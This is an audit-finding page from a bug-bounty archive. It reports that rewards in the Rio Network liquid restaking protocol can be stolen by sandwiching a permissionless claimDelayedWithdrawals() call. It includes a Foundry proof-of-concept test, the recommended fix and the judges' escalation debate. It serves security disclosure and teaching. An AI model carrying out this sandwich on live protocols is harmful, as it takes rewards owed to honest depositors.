Skip to content
Business logic Audit finding Intermediate

A part of ETH rewards can be stolen by sandwiching `claimDelayedWithdrawals()`

The protocol's reward distribution mechanism allows an attacker to deposit just before a permissionless claim of delayed withdrawals, which instantly increases the protocol's total value locked (TVL), and then immediately request a withdrawal, thereby capturing a share of the rewards that were meant for existing depositors. This lets the attacker steal a portion of the ETH rewards.

araj Follow with aslanbek, cats and 3 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/52

The protocol has acknowledged this issue.

Found by

araj, aslanbek, cats, giraffe, pontifex, zzykxx

Summary

Rewards can be stolen by sandwiching the call to EigenLayer::DelayedWithdrawalRouter::claimDelayedWithdrawals().

Vulnerability Detail

The protocol handles ETH rewards by sending them to the rewards distributor. There are at least 3 flows that end-up sending funds there:

  1. When the function RioLRTOperatorDelegator::scrapeNonBeaconChainETHFromEigenPod() is called to scrape non beacon chain ETH from an Eigenpod.
  2. When a validator receives rewards via partial withdrawals after the function EigenPod::verifyAndProcessWithdrawals() is called.
  3. When a validator exists and has more than 32ETH the excess will be sent as rewards after the function EigenPod::verifyAndProcessWithdrawals() is called.

All of these 3 flows end up queuing a withdrawal to the rewards distributor. After a delay the rewards can claimed by calling the permissionless function EigenLayer::DelayedWithdrawalRouter::claimDelayedWithdrawals(), this call will instantly increase the TVL of the protocol.

An attacker can take advantage of this to steal a part of the rewards:

  1. Mint a sensible amount of LRTTokens by depositing an accepted asset
  2. Call EigenLayer::DelayedWithdrawalRouter::claimDelayedWithdrawals(), after which the value of the LRTTokens just minted will immediately increase.
  3. Request a withdrawal for all the LRTTokens via RioLRTCoordinator::requestWithdrawal().

POC

Change RioLRTRewardsDistributor::receive() (to side-step a gas limit bug:

Solidity
receive() external payable {
    (bool success,) = address(rewardDistributor()).call{value: msg.value}('');
    require(success);
}

Add the following imports to RioLRTOperatorDelegator:

Solidity
import {IRioLRTWithdrawalQueue} from 'contracts/interfaces/IRioLRTWithdrawalQueue.sol';
import {IRioLRTOperatorRegistry} from 'contracts/interfaces/IRioLRTOperatorRegistry.sol';
import {CredentialsProofs, BeaconWithdrawal} from 'test/utils/beacon-chain/MockBeaconChain.sol';

To copy-paste in RioLRTOperatorDelegator.t.sol:

Solidity
function test_stealRewards() public {
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    uint256 aliceInitialBalance = 40e18;
    uint256 bobInitialBalance = 40e18;
    deal(alice, aliceInitialBalance);
    deal(bob, bobInitialBalance);
    vm.prank(alice);
    reETH.token.approve(address(reETH.coordinator), type(uint256).max);
    vm.prank(bob);
    reETH.token.approve(address(reETH.coordinator), type(uint256).max);

    //->Operator delegator and validators are added to the protocol
    uint8 operatorId = addOperatorDelegator(reETH.operatorRegistry, address(reETH.rewardDistributor));
    RioLRTOperatorDelegator operatorDelegator =
        RioLRTOperatorDelegator(payable(reETH.operatorRegistry.getOperatorDetails(operatorId).delegator));

    //-> Alice deposits ETH in the protocol
    vm.prank(alice);
    reETH.coordinator.depositETH{value: aliceInitialBalance}();
    
    //-> Rebalance is called and the ETH deposited in a validator
    vm.prank(EOA, EOA);
    reETH.coordinator.rebalance(ETH_ADDRESS);

    //-> Create a new validator with a 40ETH balance and verify his credentials.
    //-> This is to "simulate" rewards accumulation
    uint40[] memory validatorIndices = new uint40[](1);
    IRioLRTOperatorRegistry.OperatorPublicDetails memory details = reETH.operatorRegistry.getOperatorDetails(operatorId);
    bytes32 withdrawalCredentials = operatorDelegator.withdrawalCredentials();
    beaconChain.setNextTimestamp(block.timestamp);
    CredentialsProofs memory proofs;
    (validatorIndices[0], proofs) = beaconChain.newValidator({
        balanceWei: 40 ether,
        withdrawalCreds: abi.encodePacked(withdrawalCredentials)
    });
    
    //-> Verify withdrawal crendetials
    vm.prank(details.manager);
    reETH.operatorRegistry.verifyWithdrawalCredentials(
        operatorId,
        proofs.oracleTimestamp,
        proofs.stateRootProof,
        proofs.validatorIndices,
        proofs.validatorFieldsProofs,
        proofs.validatorFields
    );

    //-> A full withdrawal for the validator is processed, 8ETH (40ETH - 32ETH) will be queued as rewards
    verifyAndProcessWithdrawalsForValidatorIndexes(address(operatorDelegator), validatorIndices);

    //-> Bob, an attacker, does the following:
    //      1. Deposits 40ETH and receives ~40e18 LRTTokens
    //      2. Cliam the withdrawal for the validator, which will instantly increase the TVL by ~7.2ETH
    //      3. Requests a withdrawal with all of the LRTTokens 
    {
        //1. Deposits 40ETH and receives ~40e18 LRTTokens
        vm.startPrank(bob);
        reETH.coordinator.depositETH{value: bobInitialBalance}();

        //2. Cliam the withdrawal for the validator, which will instantly increase the TVL by ~7.2ETH
        uint256 TVLBefore = reETH.assetRegistry.getTVL();
        delayedWithdrawalRouter.claimDelayedWithdrawals(address(operatorDelegator), 1); 
        uint256 TVLAfter = reETH.assetRegistry.getTVL();

        //->TVL increased by 7.2ETH
        assertEq(TVLAfter - TVLBefore, 7.2e18);

        //3. Requests a withdrawal with all of the LRTTokens 
        reETH.coordinator.requestWithdrawal(ETH_ADDRESS, reETH.token.balanceOf(bob));
        vm.stopPrank();
    }
    
    //-> Wait and rebalance
    skip(reETH.coordinator.rebalanceDelay());
    vm.prank(EOA, EOA);
    reETH.coordinator.rebalance(ETH_ADDRESS);

    //-> Bob withdraws the funds he requested
    vm.prank(bob);
    reETH.withdrawalQueue.claimWithdrawalsForEpoch(IRioLRTWithdrawalQueue.ClaimRequest({asset: ETH_ADDRESS, epoch: 0}));

    //-> Bob has stole ~50% of the rewards and has 3.59ETH more than he initially started with
    assertGt(bob.balance, bobInitialBalance);
    assertEq(bob.balance - bobInitialBalance, 3599550056000000000);
}

Impact

Rewards can be stolen by sandwiching the call to EigenLayer::DelayedWithdrawalRouter::claimDelayedWithdrawals(), however this requires a bigger investment in funds the higher the protocol TVL.

Code Snippet

Tool used

Manual Review

Recommendation

When requesting withdrawals via RioLRTCoordinator::requestWithdrawal() don't distribute the rewards received in the current epoch.

Discussion

KupiaSecAdmin

Escalate

This should be considered as Invalid. The logic is pretty natural and this sandwiching can not be considered as attack. claimDelayedWithdrawals should be called at some point by anyone, and minting transactions come before the claim transaction and requestWithdrawal transactions come after claim transaction is natural logic.

sherlock-admin2

Escalate

This should be considered as Invalid. The logic is pretty natural and this sandwiching can not be considered as attack. claimDelayedWithdrawals should be called at some point by anyone, and minting transactions come before the claim transaction and requestWithdrawal transactions come after claim transaction is natural logic.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

0xcats

Escalate

This should be considered as Invalid. The logic is pretty natural and this sandwiching can not be considered as attack. claimDelayedWithdrawals should be called at some point by anyone, and minting transactions come before the claim transaction and requestWithdrawal transactions come after claim transaction is natural logic.

You can take a look at my issue of #22.

I don't really understand how you can say this is natural and that sandwiching is not considered an attack? Honest users have absolutely no incentive to stake their funds for continuous periods of time if anyone can just come and front-run reward distribution and steal rewards.

nevillehuang

I'm also unsure how this is considered normal logic unless otherwise stated as an known risk, which is not. Any user diluting rewards/stealing rewards seems fair to be valid to me.

Czar102

I agree with @0xcats and @nevillehuang. Planning to reject the escalation and leave the issue as is.

Czar102

Result: Medium Has duplicates

sherlock-admin3

Escalations have been resolved successfully!

Escalation status:

The original report as published on Sherlock, by araj. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

Attacker has sufficient funds to deposit; Attacker can call claimDelayedWithdrawals(); Attacker can request withdrawal

How it was found

  1. Mint LRTTokens by depositing an accepted asset.
  2. Call claimDelayedWithdrawals() to increase the protocol's TVL.
  3. Request a withdrawal for all LRTTokens via requestWithdrawal().

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When rewards are claimed, the total value of the protocol goes up, making each user's share worth more. An attacker can deposit right before the claim, then withdraw right after, so they get a share of the rewards without having staked for long. This is like buying a lottery ticket just before the draw and selling it right after winning.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by araj

View all

2 more disclosed reports, best first.

More from Rio Network

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.